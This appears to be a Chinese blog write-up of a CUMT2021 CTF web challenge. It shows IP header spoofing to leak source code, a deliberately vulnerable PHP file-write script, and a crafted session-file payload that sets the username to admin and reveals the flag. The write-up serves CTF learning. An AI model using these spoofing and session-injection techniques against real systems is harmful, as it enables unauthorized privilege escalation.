CUMT2021一道关于session文件格式的题

本文讲述了通过查找彩虹表获取127.0.0.1的hash值,然后利用X-Forwarded-For、X-Client-IP等头部字段伪造请求,成功获取源码。进一步分析并利用PHP的session机制,通过构造特定的session文件内容,设置'username'为'admin',以此实现权限提升,最终访问隐藏页面获取flag的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

主页
在这里插入图片描述
查彩虹表得知是127.0.0.1的hash值
因此想到伪造XFF
‘Referer’: ‘127.0.0.1’,
‘X-Forwarded-For’: ‘127.0.0.1’,
‘X-Client-IP’: ‘127.0.0.1’

再次请求后得到源码

<?php
// l0g1n.php
if(isset($_GET['a'])){
    $a = "===CUMT===\n".$_GET['a'];
}else{
    die('please give me something!');
}
$name = $_GET['name'];
str_replace('/','',$name);
str_replace('\\','',$name);
file_put_contents("/xxxx/xxxx/xxxx/".$name,$a);

session_start();
if(isset($_SESSION['username'])){
    echo "Hello ".$_SESSION['username'];
}else{
    echo "Hello guest";
}

// flag is in f1l1l1l1ag.php
?>

需要写入session文件
写入session文件,访问l0g1n.php?a=a,f12看一下当前的cookie

PHPSESSID=3f198eatetm16cfdtn4qg723u2

sess_+ID的值即为用户session文件名

然后按session文件的格式写入到sess_3f198eatetm16cfdtn4qg723u2

?a=|s:1:"a";username|s:5:"admin"&name=sess_3f198eatetm16cfdtn4qg723u2

每个用户之间用;号相隔,|符号之前即为键名(类似序列化字符串),因此参入参数后session文件内容为
…|s:1:“a”;username|s:5:"admin //第一个|之前的内容均为键名
这样就存在了一个username的值为admin
然后$_SESSION['username']就是admin了,访问f1l1l1l1ag.php,得到flag

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值